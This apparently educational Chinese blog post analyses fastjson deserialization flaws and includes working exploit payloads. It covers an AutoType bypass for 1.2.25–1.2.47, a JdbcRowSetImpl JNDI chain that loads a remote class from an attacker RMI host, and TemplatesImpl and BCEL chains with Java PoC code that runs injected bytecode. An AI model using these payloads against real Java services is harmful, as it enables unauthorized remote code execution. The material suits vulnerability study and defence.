fastjson反序列化

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

提供两个主要接口:

JSON.toJSONStringJSON.parseObject/JSON.parse 分别实现序列化和反序列化。

2222481-20230313223907340-46442900

先来讨论一下fastjson<=1.2.24

先构造一个User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class User {
private int age;
private String name;

public int getAge() {
System.out.println("执行了getAge方法");
return age;
}

public String getName() {
System.out.println("执行了getName方法");
return name;
}

public void setAge(int age) {
this.age = age;
System.out.println("执行了setAge方法");
}

public void setName(String name) {
this.name = name;
System.out.println("执行了setName方法");
}
}

我们利用JSON.toJSONString方法将对象序列化为JSON字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
User user = new User();
user.setAge(20);
user.setName("Infernity");

//序列化user类
String ser_json = JSON.toJSONString(user);
System.out.println(ser_json);
}
}

这样会得到输出:

image1

我们再来看看反序列化,用JSON.parseObject方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
User user = new User();
user.setAge(20);
user.setName("Infernity");

//序列化user类
String ser_json = JSON.toJSONString(user);

//反序列化ser_json字符串
User user_unser_json = JSON.parseObject(ser_json, User.class);
System.out.println(user_unser_json);
}
}

这样会得到输出:

image2

我们看到在反序列化的时候,JSON.parseObject方法会再去调用一次原类的Setter方法。

@type

在我们上面的反序列化代码中,JSON.parseObject方法我们给它固定了形参为User.class,那如果在实际环境里,有那么多的类,程序怎么知道要反序列化成什么类的对象呢?

这里就出现了一个@type属性:@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

再来看看下面两段代码:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
String ser_json = "{\"name\":\"Infernity\",\"age\":20}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}
}

这段代码没有任何输出,因为没有指定字符串是哪个java对象序列化出来的。

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
String ser_json = "{\"@type\":\"User\",\"name\":\"Infernity\",\"age\":20}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}
}

现在我们用@tpye属性,来指定这个字符串是User类的对象序列化出来的。

这样就会调用对应的setter和getter方法。

image3

如果这里没有任何过滤,那么反序列化的时候就可以指定任意恶意类来实例化它。

比如这个payload:

1
{"@type":"java.net.Inet4Address","val":"rp1hua27.requestrepo.com"}

image4

这样就收到了dns请求。

AutoTypeSupport

AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson >= 1.2.25会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。

正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。

现在我们把版本改为1.2.25,来试试之前的代码:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
String ser_json = "{\"@type\":\"User\",\"name\":\"Infernity\",\"age\":20}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}
}

image5

而启用AutoTypeSupport就可以了。

image6

绕过1.2.25-1.2.47无需AutoType

首先给出payload

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "User"
},
"b": {
"@type": "User",
"name": "Infernity",
"age": 20
}
}

在未开启AutoTypeSupport的时候:

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
//开启AutoType
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String ser_json = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"User\"},\"b\":{\"@type\":\"User\",\"name\":\"Infernity\",\"age\":20}}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}
}

image7

发现成功加载了。

原理:

通过java.lang.Class,将User类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。

过程:

第一次在调用checkAutoType的时候,我们直接到MiscCodec类:

调用到MiscCodec.deserialze(),判断键是否为”val”,如果不是直接抛出一个错误。

image8

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类

image9

image10

在TypeUtils.loadClass()函数中,成功加载User类后,就会将其缓存在Map中:

image11

之后在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值User已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

image12

JdbcRowSetImpl利用链

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了@type的类型,他就会自动调用对应的类来解析。

链子寻找

看一眼setDataSourceName

image13

image14

image15

主要是来到JdbcRowSetImpl类中的setAutoCommit方法:

image16

由于this.connnull,所以会调用this.connect()函数。

image17

connect()会对dataSourceName属性进行一个InitialContext.lookup (dataSourceName)的操作。

而lookup方法是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。

所以我们把dataSourceName赋值为我们恶意文件的远程地址。

这样我们就可以构造我们的利用链。在@type的类型为JdbcRowSetImpl类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将dataSourceName传给lookup方法,就可以保证能够访问到远程的攻击服务器,再使用设置autoCommit属性对lookup进行触发就可以了。从而实现rce(加载了远端的恶意class字节码并执行,达到rce效果)。

payload:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/Exploit",
"autoCommit": true
}
}

PS:

  • dataSourceName需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先执行setDataSourceName,然后再执行setAutoCommit
  • rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。

不出网利用

以下两条链版本都是1.2.24以下

TemplatesImpl利用链

影响1.2.22-1.2.24

根据TemplatesImpl公式:

1
2
3
4
5
6
7
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

我们需要这样的json序列化后的字符串:

1
2
3
4
5
6
7
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[恶意类的base64],
'_name':'Infernity',
'_tfactory':{},
'_outputProperties':{}
}

这里或许有三点疑惑:

1、_bytecodes前面不是刚刚说了需要字节码,为什么这里使用base64编码。

在反序列化的时候,会对字符串类型进行判断,如果是base64就会被解码成byte数组

image18

image19

2、_tfactory 不是需要是一个 TransformerFactoryImpl 对象吗,为什么这里为空。

因为为空会新建实例进行赋值

image20

至于_tfactory为什么会知道是TransformerFactoryImpl呢?这是在类中已经定义好了。

1
private transient TransformerFactoryImpl _tfactory = null;

3、_outputProperties字段是如何调用getOutputProperties方法的。

在字段解析之前,会对于当前字段进行一次智能匹配

image21

没调出来,我发现他早就找到了getOutputProperties方法,一直存着,然后看到_outputProperties字段后,去掉前面的下划线,匹配到了getOutputProperties方法,然后调用它。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\13664\\Desktop\\fastjson\\target\\classes\\calc.class"));
String evilCode_base64 = Base64.encode(bytes);//使用base64封装

String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"\"_name\":\"Infernity\","+
"\"_tfactory\":{},"+
"\"_outputProperties\":{}"+
"}\n";

JSON.parseObject(payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
}
}

BCEL利用链

依赖

BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

BCEL简单利用

BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。会创建一个该类,并用definclass去调用

image22

我们可以编写一个恶意的类:calc.java

1
2
3
4
5
6
7
8
9
public class calc{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

然后使用过BCEL提供的两个类RepositoryUtility 来利用: Repository用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码, Utility用于将原生的字节码转换成BCEL格式的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\13664\\Desktop\\fastjson\\target\\classes\\calc.class"));
String code = Utility.encode(bytes,true);
System.out.println(code);
}
}

链子分析

先上payload

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}:"bbb"
}

至于为什么这么写payload,后面会讲到。

先看到BasicDataSource.getConnection方法:

getConnection

跟进createDataSource方法:

createDataSource

继续跟进createConnectionFactory方法:

createConnectionFactory

到这里就执行了我们的恶意代码,且driverClassLoader属性和driverClassName属性都是我们可控的。

image23

为什么会调用getConnection方法呢?

我们回头去查看这个POC形式,首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

toString

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法。

参考文章:

https://forum.butian.net/share/2040

https://www.cnblogs.com/R0ser1/p/15915607.html

https://cloud.tencent.com/developer/article/2335078

https://www.cnblogs.com/R0ser1/p/15918626.html


fastjson反序列化
http://example.com/2025/02/25/fastjson反序列化/
作者
Infernity
发布于
2025年2月25日
许可协议